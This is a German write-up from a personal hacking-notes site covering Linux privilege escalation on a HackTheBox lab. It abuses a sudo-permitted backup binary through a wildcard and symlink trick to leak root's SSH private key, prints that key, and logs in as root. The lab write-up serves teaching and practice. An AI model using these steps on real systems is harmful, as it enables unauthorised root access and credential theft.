> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md).

# Sudo Sicherungs-Binärdatei / symbolischer Link - Linux-Privilegieneskalation

## Was es ist

Die sudoers-Privilegieneskalation beginnt mit den Befehlen, die ein Benutzer über `sudo`. Fehlkonfigurierte Binärdateien, unsichere Skriptargumente, der Umgang mit symbolischen Links und verwundbare sudo-Versionen können eingeschränkte sudo-Rechte in eine Root-Shell verwandeln. Diese spezielle Seite konzentriert sich auf **Sudo (Backup-Binärdatei / symbolischer Link)** und hält den Ausnutzungsablauf praxisnah: Bedingung identifizieren, sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkungen zu belegen.

## Enumeration

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Exploit-Pfad ausführen.

```bash
sudo -l
sudo --version
```

## Beispiele

### Ausnutzung der Sudoers-Binärdatei:

Durch Ausführen des `sudo -l` Befehl als ein `xander` Benutzer können Sie die `usage_management` Binärdatei mit drei Optionen ausführen:

1. *`Projekt-Backup`*
2. *`MySQL-Daten sichern`*
3. *`Admin-Passwort zurücksetzen`*

<figure><img src="/files/c70b5fa98b46f628a241fc42d6ce73f4be5e1943" alt=""><figcaption></figcaption></figure>

Durch die Auswahl der ersten Option ("Projekt-Backup") erstellt das Programm eine `.zip` Datei mit einem Backup als eine `root` Benutzer.

<figure><img src="/files/00b952aa82f7afdb8c246c6f198df9443f0cea53" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/054d0d362a76755ee00c1b1a3c4c93189a31edef" alt=""><figcaption></figcaption></figure>

### Binäranalyse (GHIDRA)

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

GHIDRA installieren und ausführen, um die Binärdatei zu analysieren:

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="/files/03216e69f25462d2c7be36fb59801064e6e7be19" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/84bbb6c5aca166c33db1296ebafccafd3ad2f88e" alt=""><figcaption></figcaption></figure>

* In dem `Projekt-Backup` Funktion, diese Funktion komprimiert den Inhalt von `/var/www/html` in einer `project.zip` Datei mit Root-Rechten.

<figure><img src="/files/0e73d57f272e2f3225321f64b7f3e5f3202c37dc" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**Einen symbolischen Link erstellt, um auf den SSH-Root-Schlüssel zuzugreifen**: Um diese Funktion auszunutzen, erstellen Sie einen symbolischen Link zum SSH-Root-Schlüssel in der `html` Verzeichnis

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="/files/4b75f706fea9b3cc17b7fd80be1afc519e6ef86a" alt=""><figcaption></figcaption></figure>

**Ausführung des Skripts als Root-Benutzer**:

* Starten Sie das Skript `usage_management` :

<figure><img src="/files/11ff1dc189743c8dedd1346f630a9939ccc2670f" alt=""><figcaption></figcaption></figure>

* In dem `project.zip` Datei, erhalten Sie den privaten Root-Schlüssel (`id_rsa`).

<figure><img src="/files/2c318f72bf678002e6d05f82c8a237a003d1465f" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**SSH-Verbindung mit Root-Schlüssel**:

* Verwenden Sie den Schlüssel, um sich als root anzumelden:

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="/files/e63c9118ec3a5c5afab5daed2244f22910ae10ab" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
